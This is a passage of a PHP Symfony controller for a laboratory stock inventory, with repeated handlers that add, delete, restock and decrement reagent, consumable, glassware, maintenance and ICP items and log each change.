  2275. if ( $request->getMethod() == "POST" ) {
  2276. $data = $request->request->all();
  2277. if (null !== $request->get('addnew')){
  2278. if ($data) {
  2279. $info = $data['entry'];
  2280. $entry = new Stock();
  2281. $entry->setStockname($info['name'])
  2282. ->setQty((float)$info['qty'])
  2283. ->setLow((float)$info['low'])
  2284. ->setCritical((float)$info['critical'])
  2285. ->setComment($info['comment'])
  2286. ->setSupplier($info['supplier'])
  2287. ->setDatemodified(new \DateTime($info['datemodified']))
  2288. ->setUnits($info['units'])
  2289. ->setType("Reagent");
  2290. $this->em->persist($entry);
  2291. $this->em->flush();
  2292. // Create a new StockManagement entry when adding new entry
  2293. $mgmt = new StockManagement();
  2294. $mgmt->setStockId($entry->getId());
  2295. $mgmt->setStockName($entry->getStockname());
  2296. $mgmt->setSupplier($entry->getSupplier());
  2297. $mgmt->setComment($entry->getComment());
  2298. $mgmt->setStockType($entry->getType());
  2299. $mgmt->setActionType('Add new');
  2300. $mgmt->setQuantity($entry->getQty());
  2301. $mgmt->setTotalQuantity($entry->getQty());
  2302. $mgmt->setDate(new \Datetime());
  2303. $this->em->persist($mgmt);
  2304. $this->em->flush();
  2305. return $this->redirect($this->generateUrl('stock'));
  2306. }
  2307. }
  2308. if (null !== $request->get('delete')){
  2309. if ($data) {
  2310. $info = $data['entryid'];
  2311. /*echo '<pre>';
  2312. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2313. die();*/
  2314. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2315. 'id' => $info
  2316. ]);
  2317. // Create a new StockManagement entry when deleting
  2318. $mgmt = new StockManagement();
  2319. $mgmt->setStockId($entry->getId());
  2320. $mgmt->setStockName($entry->getStockname());
  2321. $mgmt->setSupplier($entry->getSupplier());
  2322. $mgmt->setComment($entry->getComment());
  2323. $mgmt->setStockType($entry->getType());
  2324. $mgmt->setActionType('Delete');
  2325. $mgmt->setQuantity(0);
  2326. $mgmt->setTotalQuantity($entry->getQty());
  2327. $mgmt->setDate(new \Datetime());
  2328. $this->em->remove($entry);
  2329. $this->em->persist($mgmt);
  2330. $this->em->flush();
  2331. return $this->redirect($this->generateUrl('stock'));
  2332. }
  2333. }
  2334. if (null !== $request->get('restock')){
  2335. if ($data) {
  2336. $info = $data['entry'];
  2337. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2338. 'id' => $data['entryid']
  2339. ]);
  2340. $entry->setQty($entry->getQty()+(float)$data['entry']['qty'])
  2341. ->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2342. ->setLow((float)$info['low'])
  2343. ->setCritical((float)$info['critical'])
  2344. ->setStockname($info['name'])
  2345. ->setSupplier($info['supplier'])
  2346. ->setComment($info['comment'])
  2347. ->setUnits($info['units'])
  2348. ->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2349. // Create a new StockManagement entry when restocking
  2350. $mgmt = new StockManagement();
  2351. $mgmt->setStockId($entry->getId());
  2352. $mgmt->setStockName($entry->getStockname());
  2353. $mgmt->setSupplier($entry->getSupplier());
  2354. $mgmt->setComment($entry->getComment());
  2355. $mgmt->setStockType($entry->getType());
  2356. $mgmt->setActionType('Restock');
  2357. $mgmt->setQuantity((float)$data['entry']['qty']);
  2358. $mgmt->setTotalQuantity($entry->getQty());
  2359. $mgmt->setDate(new \Datetime());
  2360. $this->em->persist($entry);
  2361. $this->em->persist($mgmt);
  2362. $this->em->flush();
  2363. return $this->redirect($this->generateUrl('stock'));
  2364. }
  2365. }
  2366. if (null !== $request->get('takeone')){
  2367. if ($data) {
  2368. $info = $data['entryid'];
  2369. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2370. 'id' => $data['entryid']
  2371. ]);
  2372. $entry->setQty($entry->getQty() - 1);
  2373. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2374. // Create a new StockManagement entry when taking one
  2375. $mgmt = new StockManagement();
  2376. $mgmt->setStockId($entry->getId());
  2377. $mgmt->setStockName($entry->getStockname());
  2378. $mgmt->setSupplier($entry->getSupplier());
  2379. $mgmt->setComment($entry->getComment());
  2380. $mgmt->setStockType($entry->getType());
  2381. $mgmt->setActionType('Take One');
  2382. $mgmt->setQuantity(-1);
  2383. $mgmt->setTotalQuantity($entry->getQty());
  2384. $mgmt->setDate(new \Datetime());
  2385. $this->em->persist($entry);
  2386. $this->em->persist($mgmt);
  2387. $this->em->flush();
  2388. return $this->redirect($this->generateUrl('stock'));
  2389. }
  2390. }
  2391. // Handle 'orderstatus' checkbox change
  2392. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2393. $entryId = $data['entryid'];
  2394. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2395. // Find the Stock entry by ID
  2396. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2397. 'id' => $entryId
  2398. ]);
  2399. if ($entry) {
  2400. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2401. $this->em->persist($entry);
  2402. $this->em->flush();
  2403. return $this->redirect($this->generateUrl('stock'));
  2404. }
  2405. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2406. }
  2407. }
  2408. return $this->render('cats/stock.html.twig',[
  2409. 'stock' => $stock
  2410. ]);
  2411. }
  2412. //=====================================================================================================================================================================================<
  2413. /**
  2414. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2415. * @param Request $request
  2416. * @Route("/stockconsume", name="stockconsume")
  2417. * @return Response $response
  2418. */
  2419. public function stockconsume(Request $request)
  2420. {
  2421. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2422. 'type' => 'Consumable'
  2423. ]);
  2424. if ( $request->getMethod() == "POST" ) {
  2425. $data = $request->request->all();
  2426. if (null !== $request->get('addnew')){
  2427. if ($data) {
  2428. $info = $data['entry'];
  2429. $entry = new Stock();
  2430. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2431. ->setLow((float)$info['low'])
  2432. ->setCritical((float)$info['critical']);
  2433. $entry->setComment($info['comment']);
  2434. $entry->setSupplier($info['supplier']);
  2435. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2436. $entry->setUnits($info['units']);
  2437. $entry->setType("Consumable");
  2438. $this->em->persist($entry);
  2439. $this->em->flush();
  2440. // Create a new StockManagement entry when adding new entry
  2441. $mgmt = new StockManagement();
  2442. $mgmt->setStockId($entry->getId());
  2443. $mgmt->setStockName($entry->getStockname());
  2444. $mgmt->setSupplier($entry->getSupplier());
  2445. $mgmt->setComment($entry->getComment());
  2446. $mgmt->setStockType($entry->getType());
  2447. $mgmt->setActionType('Add new');
  2448. $mgmt->setQuantity($entry->getQty());
  2449. $mgmt->setTotalQuantity($entry->getQty());
  2450. $mgmt->setDate(new \Datetime());
  2451. $this->em->persist($mgmt);
  2452. $this->em->flush();
  2453. return $this->redirect($this->generateUrl('stockconsume'));
  2454. }
  2455. }
  2456. if (null !== $request->get('delete')){
  2457. if ($data) {
  2458. $info = $data['entryid'];
  2459. /*echo '<pre>';
  2460. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2461. die();*/
  2462. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2463. 'id' => $info
  2464. ]);
  2465. // Create a new StockManagement entry when deleting
  2466. $mgmt = new StockManagement();
  2467. $mgmt->setStockId($entry->getId());
  2468. $mgmt->setStockName($entry->getStockname());
  2469. $mgmt->setSupplier($entry->getSupplier());
  2470. $mgmt->setComment($entry->getComment());
  2471. $mgmt->setStockType($entry->getType());
  2472. $mgmt->setActionType('Delete');
  2473. $mgmt->setQuantity(0);
  2474. $mgmt->setTotalQuantity($entry->getQty());
  2475. $mgmt->setDate(new \Datetime());
  2476. $this->em->remove($entry);
  2477. $this->em->persist($mgmt);
  2478. $this->em->flush();
  2479. return $this->redirect($this->generateUrl('stockconsume'));
  2480. }
  2481. }
  2482. if (null !== $request->get('restock')){
  2483. if ($data) {
  2484. $info = $data['entry'];
  2485. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2486. 'id' => $data['entryid']
  2487. ]);
  2488. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2489. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2490. ->setLow((float)$info['low'])
  2491. ->setCritical((float)$info['critical']);
  2492. $entry->setStockname($info['name']);
  2493. $entry->setSupplier($info['supplier']);
  2494. $entry->setComment($info['comment']);
  2495. $entry->setUnits($info['units']);
  2496. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2497. // Create a new StockManagement entry when restocking
  2498. $mgmt = new StockManagement();
  2499. $mgmt->setStockId($entry->getId());
  2500. $mgmt->setStockName($entry->getStockname());
  2501. $mgmt->setSupplier($entry->getSupplier());
  2502. $mgmt->setComment($entry->getComment());
  2503. $mgmt->setStockType($entry->getType());
  2504. $mgmt->setActionType('Restock');
  2505. $mgmt->setQuantity((float)$data['entry']['qty']);
  2506. $mgmt->setTotalQuantity($entry->getQty());
  2507. $mgmt->setDate(new \Datetime());
  2508. $this->em->persist($entry);
  2509. $this->em->persist($mgmt);
  2510. $this->em->flush();
  2511. return $this->redirect($this->generateUrl('stockconsume'));
  2512. }
  2513. }
  2514. if (null !== $request->get('takeone')){
  2515. if ($data) {
  2516. $info = $data['entryid'];
  2517. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2518. 'id' => $data['entryid']
  2519. ]);
  2520. $entry->setQty($entry->getQty() - 1);
  2521. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2522. // Create a new StockManagement entry when taking one
  2523. $mgmt = new StockManagement();
  2524. $mgmt->setStockId($entry->getId());
  2525. $mgmt->setStockName($entry->getStockname());
  2526. $mgmt->setSupplier($entry->getSupplier());
  2527. $mgmt->setComment($entry->getComment());
  2528. $mgmt->setStockType($entry->getType());
  2529. $mgmt->setActionType('Take One');
  2530. $mgmt->setQuantity(-1);
  2531. $mgmt->setTotalQuantity($entry->getQty());
  2532. $mgmt->setDate(new \Datetime());
  2533. $this->em->persist($entry);
  2534. $this->em->persist($mgmt);
  2535. $this->em->flush();
  2536. return $this->redirect($this->generateUrl('stockconsume'));
  2537. }
  2538. }
  2539. // Handle 'orderstatus' checkbox change
  2540. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2541. $entryId = $data['entryid'];
  2542. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2543. // Find the Stock entry by ID
  2544. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2545. 'id' => $entryId
  2546. ]);
  2547. if ($entry) {
  2548. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2549. $this->em->persist($entry);
  2550. $this->em->flush();
  2551. return $this->redirect($this->generateUrl('stockconsume'));
  2552. }
  2553. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2554. }
  2555. }
  2556. return $this->render('cats/stockconsume.html.twig',[
  2557. 'stock' => $stock
  2558. ]);
  2559. }
  2560. //=====================================================================================================================================================================================<
  2561. /**
  2562. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2563. * @param Request $request
  2564. * @Route("/equipstock", name="equipstock")
  2565. * @return Response $response
  2566. */
  2567. public function equipstock(Request $request)
  2568. {
  2569. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2570. 'type' => 'Glass'
  2571. ]);
  2572. if ( $request->getMethod() == "POST" ) {
  2573. $data = $request->request->all();
  2574. if (null !== $request->get('addnew')){
  2575. if ($data) {
  2576. $info = $data['entry'];
  2577. $entry = new Stock();
  2578. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2579. ->setLow((float)$info['low'])
  2580. ->setCritical((float)$info['critical']);
  2581. $entry->setComment($info['comment']);
  2582. $entry->setSupplier($info['supplier']);
  2583. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2584. $entry->setUnits($info['units']);
  2585. $entry->setType("Glass");
  2586. $this->em->persist($entry);
  2587. $this->em->flush();
  2588. // Create a new StockManagement entry when adding new entry
  2589. $mgmt = new StockManagement();
  2590. $mgmt->setStockId($entry->getId());
  2591. $mgmt->setStockName($entry->getStockname());
  2592. $mgmt->setSupplier($entry->getSupplier());
  2593. $mgmt->setComment($entry->getComment());
  2594. $mgmt->setStockType($entry->getType());
  2595. $mgmt->setActionType('Add new');
  2596. $mgmt->setQuantity($entry->getQty());
  2597. $mgmt->setTotalQuantity($entry->getQty());
  2598. $mgmt->setDate(new \Datetime());
  2599. $this->em->persist($mgmt);
  2600. $this->em->flush();
  2601. return $this->redirect($this->generateUrl('equipstock'));
  2602. }
  2603. }
  2604. if (null !== $request->get('delete')){
  2605. if ($data) {
  2606. $info = $data['entryid'];
  2607. /*echo '<pre>';
  2608. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2609. die();*/
  2610. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2611. 'id' => $info
  2612. ]);
  2613. // Create a new StockManagement entry when deleting
  2614. $mgmt = new StockManagement();
  2615. $mgmt->setStockId($entry->getId());
  2616. $mgmt->setStockName($entry->getStockname());
  2617. $mgmt->setSupplier($entry->getSupplier());
  2618. $mgmt->setComment($entry->getComment());
  2619. $mgmt->setStockType($entry->getType());
  2620. $mgmt->setActionType('Delete');
  2621. $mgmt->setQuantity(0);
  2622. $mgmt->setTotalQuantity($entry->getQty());
  2623. $mgmt->setDate(new \Datetime());
  2624. $this->em->remove($entry);
  2625. $this->em->persist($mgmt);
  2626. $this->em->flush();
  2627. return $this->redirect($this->generateUrl('equipstock'));
  2628. }
  2629. }
  2630. if (null !== $request->get('restock')){
  2631. if ($data) {
  2632. $info = $data['entry'];
  2633. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2634. 'id' => $data['entryid']
  2635. ]);
  2636. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2637. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2638. ->setLow((float)$info['low'])
  2639. ->setCritical((float)$info['critical']);
  2640. $entry->setStockname($info['name']);
  2641. $entry->setSupplier($info['supplier']);
  2642. $entry->setComment($info['comment']);
  2643. $entry->setUnits($info['units']);
  2644. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2645. // Create a new StockManagement entry when restocking
  2646. $mgmt = new StockManagement();
  2647. $mgmt->setStockId($entry->getId());
  2648. $mgmt->setStockName($entry->getStockname());
  2649. $mgmt->setSupplier($entry->getSupplier());
  2650. $mgmt->setComment($entry->getComment());
  2651. $mgmt->setStockType($entry->getType());
  2652. $mgmt->setActionType('Restock');
  2653. $mgmt->setQuantity((float)$data['entry']['qty']);
  2654. $mgmt->setTotalQuantity($entry->getQty());
  2655. $mgmt->setDate(new \Datetime());
  2656. $this->em->persist($entry);
  2657. $this->em->persist($mgmt);
  2658. $this->em->flush();
  2659. return $this->redirect($this->generateUrl('equipstock'));
  2660. }
  2661. }
  2662. if (null !== $request->get('takeone')){
  2663. if ($data) {
  2664. $info = $data['entryid'];
  2665. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2666. 'id' => $data['entryid']
  2667. ]);
  2668. $entry->setQty($entry->getQty() - 1);
  2669. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2670. // Create a new StockManagement entry when taking one
  2671. $mgmt = new StockManagement();
  2672. $mgmt->setStockId($entry->getId());
  2673. $mgmt->setStockName($entry->getStockname());
  2674. $mgmt->setSupplier($entry->getSupplier());
  2675. $mgmt->setComment($entry->getComment());
  2676. $mgmt->setStockType($entry->getType());
  2677. $mgmt->setActionType('Take One');
  2678. $mgmt->setQuantity(-1);
  2679. $mgmt->setTotalQuantity($entry->getQty());
  2680. $mgmt->setDate(new \Datetime());
  2681. $this->em->persist($entry);
  2682. $this->em->persist($mgmt);
  2683. $this->em->flush();
  2684. return $this->redirect($this->generateUrl('equipstock'));
  2685. }
  2686. }
  2687. // Handle 'orderstatus' checkbox change
  2688. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2689. $entryId = $data['entryid'];
  2690. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2691. // Find the Stock entry by ID
  2692. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2693. 'id' => $entryId
  2694. ]);
  2695. if ($entry) {
  2696. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2697. $this->em->persist($entry);
  2698. $this->em->flush();
  2699. return $this->redirect($this->generateUrl('equipstock'));
  2700. }
  2701. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2702. }
  2703. }
  2704. return $this->render('cats/equipstock.html.twig',[
  2705. 'stock' => $stock
  2706. ]);
  2707. }
  2708. //=====================================================================================================================================================================================<
  2709. /**
  2710. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2711. * @param Request $request
  2712. * @Route("/stockMaintenance", name="stockMaintenance")
  2713. * @return Response $response
  2714. */
  2715. public function stockMaintenance(Request $request)
  2716. {
  2717. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2718. 'type' => 'Maintenance'
  2719. ]);
  2720. if ( $request->getMethod() == "POST" ) {
  2721. $data = $request->request->all();
  2722. if (null !== $request->get('addnew')){
  2723. if ($data) {
  2724. $info = $data['entry'];
  2725. $entry = new Stock();
  2726. $entry->setStockname($info['name'])
  2727. ->setSupplier($info['supplier'])
  2728. ->setFault($info['fault'])
  2729. ->setUnits($info['units'])
  2730. ->setQty(1)
  2731. ->setComment($info['comment'])
  2732. ->setDatemodified(new \DateTime($info['datemodified']))
  2733. ->setType("Maintenance");
  2734. $this->em->persist($entry);
  2735. $this->em->flush();
  2736. return $this->redirect($this->generateUrl('stockMaintenance'));
  2737. }
  2738. }
  2739. if (null !== $request->get('delete')){
  2740. if ($data) {
  2741. $info = $data['entryid'];
  2742. /*echo '<pre>';
  2743. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2744. die();*/
  2745. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2746. 'id' => $info
  2747. ]);
  2748. $this->em->remove($entry);
  2749. $this->em->flush();
  2750. return $this->redirect($this->generateUrl('stockMaintenance'));
  2751. }
  2752. }
  2753. if (null !== $request->get('restock')){
  2754. if ($data) {
  2755. $info = $data['entry'];
  2756. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2757. 'id' => $data['entryid']
  2758. ]);
  2759. $entry->setDatemodified(new \DateTime());
  2760. $entry->setStockname($info['name']);
  2761. $entry->setFault($info['fault']);
  2762. $entry->setSupplier($info['supplier']);
  2763. $entry->setComment($info['comment']);
  2764. $entry->setUnits($info['units']);
  2765. $this->em->persist($entry);
  2766. $this->em->flush();
  2767. return $this->redirect($this->generateUrl('stockMaintenance'));
  2768. }
  2769. }
  2770. }
  2771. return $this->render('cats/stockMaintenance.html.twig',[
  2772. 'stock' => $stock
  2773. ]);
  2774. }
  2775. //=====================================================================================================================================================================================<
  2776. /**
  2777. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2778. * @param Request $request
  2779. * @Route("/icpstock", name="icpstock")
  2780. * @return Response $response
  2781. */
  2782. public function icpstock(Request $request)
  2783. {
  2784. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2785. 'type' => 'ICP'
  2786. ]);
  2787. if ( $request->getMethod() == "POST" ) {
  2788. $data = $request->request->all();
  2789. if (null !== $request->get('addnew')){
  2790. if ($data) {
  2791. $info = $data['entry'];
  2792. $entry = new Stock();
  2793. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2794. ->setLow((float)$info['low'])
  2795. ->setCritical((float)$info['critical']);
  2796. $entry->setComment($info['comment']);
  2797. $entry->setSupplier($info['supplier']);
  2798. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2799. $entry->setUnits($info['units']);
  2800. $entry->setType("ICP");
  2801. $this->em->persist($entry);
  2802. $this->em->flush();
  2803. // Create a new StockManagement entry when adding new entry
  2804. $mgmt = new StockManagement();
  2805. $mgmt->setStockId($entry->getId());
  2806. $mgmt->setStockName($entry->getStockname());
  2807. $mgmt->setSupplier($entry->getSupplier());
  2808. $mgmt->setComment($entry->getComment());
  2809. $mgmt->setStockType($entry->getType());
  2810. $mgmt->setActionType('Add new');
  2811. $mgmt->setQuantity($entry->getQty());
  2812. $mgmt->setTotalQuantity($entry->getQty());
  2813. $mgmt->setDate(new \Datetime());
  2814. $this->em->persist($mgmt);
  2815. $this->em->flush();
  2816. return $this->redirect($this->generateUrl('icpstock'));
  2817. }
  2818. }
  2819. if (null !== $request->get('delete')){
  2820. if ($data) {
  2821. $info = $data['entryid'];
  2822. /*echo '<pre>';
  2823. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2824. die();*/
  2825. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2826. 'id' => $info
  2827. ]);
  2828. // Create a new StockManagement entry when deleting
  2829. $mgmt = new StockManagement();
  2830. $mgmt->setStockId($entry->getId());
  2831. $mgmt->setStockName($entry->getStockname());
  2832. $mgmt->setSupplier($entry->getSupplier());
  2833. $mgmt->setComment($entry->getComment());
  2834. $mgmt->setStockType($entry->getType());
  2835. $mgmt->setActionType('Delete');
  2836. $mgmt->setQuantity(0);
  2837. $mgmt->setTotalQuantity($entry->getQty());
  2838. $mgmt->setDate(new \Datetime());
  2839. $this->em->remove($entry);
  2840. $this->em->persist($mgmt);
  2841. $this->em->flush();
  2842. return $this->redirect($this->generateUrl('icpstock'));
  2843. }
  2844. }
  2845. if (null !== $request->get('restock')){
  2846. if ($data) {
  2847. $info = $data['entry'];
  2848. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2849. 'id' => $data['entryid']
  2850. ]);
  2851. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  2852. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  2853. ->setLow((float)$info['low'])
  2854. ->setCritical((float)$info['critical']);
  2855. $entry->setStockname($info['name']);
  2856. $entry->setSupplier($info['supplier']);
  2857. $entry->setComment($info['comment']);
  2858. $entry->setUnits($info['units']);
  2859. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  2860. // Create a new StockManagement entry when restocking
  2861. $mgmt = new StockManagement();
  2862. $mgmt->setStockId($entry->getId());
  2863. $mgmt->setStockName($entry->getStockname());
  2864. $mgmt->setSupplier($entry->getSupplier());
  2865. $mgmt->setComment($entry->getComment());
  2866. $mgmt->setStockType($entry->getType());
  2867. $mgmt->setActionType('Restock');
  2868. $mgmt->setQuantity((float)$data['entry']['qty']);
  2869. $mgmt->setTotalQuantity($entry->getQty());
  2870. $mgmt->setDate(new \Datetime());
  2871. $this->em->persist($entry);
  2872. $this->em->persist($mgmt);
  2873. $this->em->flush();
  2874. return $this->redirect($this->generateUrl('icpstock'));
  2875. }
  2876. }
  2877. if (null !== $request->get('takeone')){
  2878. if ($data) {
  2879. $info = $data['entryid'];
  2880. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2881. 'id' => $data['entryid']
  2882. ]);
  2883. $entry->setQty($entry->getQty() - 1);
  2884. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  2885. // Create a new StockManagement entry when taking one
  2886. $mgmt = new StockManagement();
  2887. $mgmt->setStockId($entry->getId());
  2888. $mgmt->setStockName($entry->getStockname());
  2889. $mgmt->setSupplier($entry->getSupplier());
  2890. $mgmt->setComment($entry->getComment());
  2891. $mgmt->setStockType($entry->getType());
  2892. $mgmt->setActionType('Take One');
  2893. $mgmt->setQuantity(-1);
  2894. $mgmt->setTotalQuantity($entry->getQty());
  2895. $mgmt->setDate(new \Datetime());
  2896. $this->em->persist($entry);
  2897. $this->em->persist($mgmt);
  2898. $this->em->flush();
  2899. return $this->redirect($this->generateUrl('icpstock'));
  2900. }
  2901. }
  2902. // Handle 'orderstatus' checkbox change
  2903. if (isset($data['orderstatus']) && isset($data['entryid'])) {
  2904. $entryId = $data['entryid'];
  2905. $orderStatus = (bool)$data['orderstatus']; // 1 for checked, 0 for unchecked
  2906. // Find the Stock entry by ID
  2907. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2908. 'id' => $entryId
  2909. ]);
  2910. if ($entry) {
  2911. $entry->setOrderstatus($orderStatus); // Update orderstatus
  2912. $this->em->persist($entry);
  2913. $this->em->flush();
  2914. return $this->redirect($this->generateUrl('icpstock'));
  2915. }
  2916. return new JsonResponse(['status' => 'error', 'message' => 'Invalid data']);
  2917. }
  2918. }
  2919. return $this->render('cats/icpstock.html.twig',[
  2920. 'stock' => $stock
  2921. ]);
  2922. }
  2923. //=====================================================================================================================================================================================<
  2924. /**
  2925. * @Security("is_granted('ROLE_LABUSER') or is_granted('ROLE_ADMINISTRATORIUS')")
  2926. * @param Request $request
  2927. * @Route("/icpstandardstock", name="icpstandardstock")
  2928. * @return Response $response
  2929. */
  2930. public function icpstandardstock(Request $request)
  2931. {
  2932. $stock = $this->getDoctrine()->getRepository(Stock::class)->findBy([
  2933. 'type' => 'ICP Standard'
  2934. ]);
  2935. if ( $request->getMethod() == "POST" ) {
  2936. $data = $request->request->all();
  2937. if (null !== $request->get('addnew')){
  2938. if ($data) {
  2939. $info = $data['entry'];
  2940. $entry = new Stock();
  2941. $entry->setStockname($info['name'])->setQty((float)$info['qty'])
  2942. ->setLow((float)$info['low'])
  2943. ->setCritical((float)$info['critical']);
  2944. $entry->setComment($info['comment']);
  2945. $entry->setSupplier($info['supplier']);
  2946. $entry->setDatemodified(new \DateTime($info['datemodified']));
  2947. $entry->setUnits($info['units']);
  2948. $entry->setType("ICP Standard");
  2949. $this->em->persist($entry);
  2950. $this->em->flush();
  2951. // Create a new StockManagement entry when adding new entry
  2952. $mgmt = new StockManagement();
  2953. $mgmt->setStockId($entry->getId());
  2954. $mgmt->setStockName($entry->getStockname());
  2955. $mgmt->setSupplier($entry->getSupplier());
  2956. $mgmt->setComment($entry->getComment());
  2957. $mgmt->setStockType($entry->getType());
  2958. $mgmt->setActionType('Add new');
  2959. $mgmt->setQuantity($entry->getQty());
  2960. $mgmt->setTotalQuantity($entry->getQty());
  2961. $mgmt->setDate(new \Datetime());
  2962. $this->em->persist($mgmt);
  2963. $this->em->flush();
  2964. return $this->redirect($this->generateUrl('icpstandardstock'));
  2965. }
  2966. }
  2967. if (null !== $request->get('delete')){
  2968. if ($data) {
  2969. $info = $data['entryid'];
  2970. /*echo '<pre>';
  2971. exit(\Doctrine\Common\Util\Debug:://dump($data));
  2972. die();*/
  2973. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2974. 'id' => $info
  2975. ]);
  2976. // Create a new StockManagement entry when deleting
  2977. $mgmt = new StockManagement();
  2978. $mgmt->setStockId($entry->getId());
  2979. $mgmt->setStockName($entry->getStockname());
  2980. $mgmt->setSupplier($entry->getSupplier());
  2981. $mgmt->setComment($entry->getComment());
  2982. $mgmt->setStockType($entry->getType());
  2983. $mgmt->setActionType('Delete');
  2984. $mgmt->setQuantity(0);
  2985. $mgmt->setTotalQuantity($entry->getQty());
  2986. $mgmt->setDate(new \Datetime());
  2987. $this->em->remove($entry);
  2988. $this->em->persist($mgmt);
  2989. $this->em->flush();
  2990. return $this->redirect($this->generateUrl('icpstandardstock'));
  2991. }
  2992. }
  2993. if (null !== $request->get('restock')){
  2994. if ($data) {
  2995. $info = $data['entry'];
  2996. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  2997. 'id' => $data['entryid']
  2998. ]);
  2999. $entry->setQty($entry->getQty()+(float)$data['entry']['qty']);
  3000. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']))
  3001. ->setLow((float)$info['low'])
  3002. ->setCritical((float)$info['critical']);
  3003. $entry->setStockname($info['name']);
  3004. $entry->setSupplier($info['supplier']);
  3005. $entry->setComment($info['comment']);
  3006. $entry->setUnits($info['units']);
  3007. $entry->setOrderstatus($info['qty'] > 0 ? 0 : $entry->getOrderstatus());
  3008. // Create a new StockManagement entry when restocking
  3009. $mgmt = new StockManagement();
  3010. $mgmt->setStockId($entry->getId());
  3011. $mgmt->setStockName($entry->getStockname());
  3012. $mgmt->setSupplier($entry->getSupplier());
  3013. $mgmt->setComment($entry->getComment());
  3014. $mgmt->setStockType($entry->getType());
  3015. $mgmt->setActionType('Restock');
  3016. $mgmt->setQuantity((float)$data['entry']['qty']);
  3017. $mgmt->setTotalQuantity($entry->getQty());
  3018. $mgmt->setDate(new \Datetime());
  3019. $this->em->persist($entry);
  3020. $this->em->persist($mgmt);
  3021. $this->em->flush();
  3022. return $this->redirect($this->generateUrl('icpstandardstock'));
  3023. }
  3024. }
  3025. if (null !== $request->get('takeone')){
  3026. if ($data) {
  3027. $info = $data['entryid'];
  3028. $entry = $this->getDoctrine()->getRepository(Stock::class)->findOneBy([
  3029. 'id' => $data['entryid']
  3030. ]);
  3031. $entry->setQty($entry->getQty() - 1);
  3032. $entry->setDatemodified(new \DateTime($data['entry']['datemodified']));
  3033. // Create a new StockManagement entry when taking one
  3034. $mgmt = new StockManagement();
  3035. $mgmt->setStockId($entry->getId());
  3036. $mgmt->setStockName($entry->getStockname());
  3037. $mgmt->setSupplier($entry->getSupplier());
  3038. $mgmt->setComment($entry->getComment());
  3039. $mgmt->setStockType($entry->getType());
  3040. $mgmt->setActionType('Take One');
  3041. $mgmt->setQuantity(-1);
  3042. $mgmt->setTotalQuantity($entry->getQty());
  3043. $mgmt->setDate(new \Datetime());
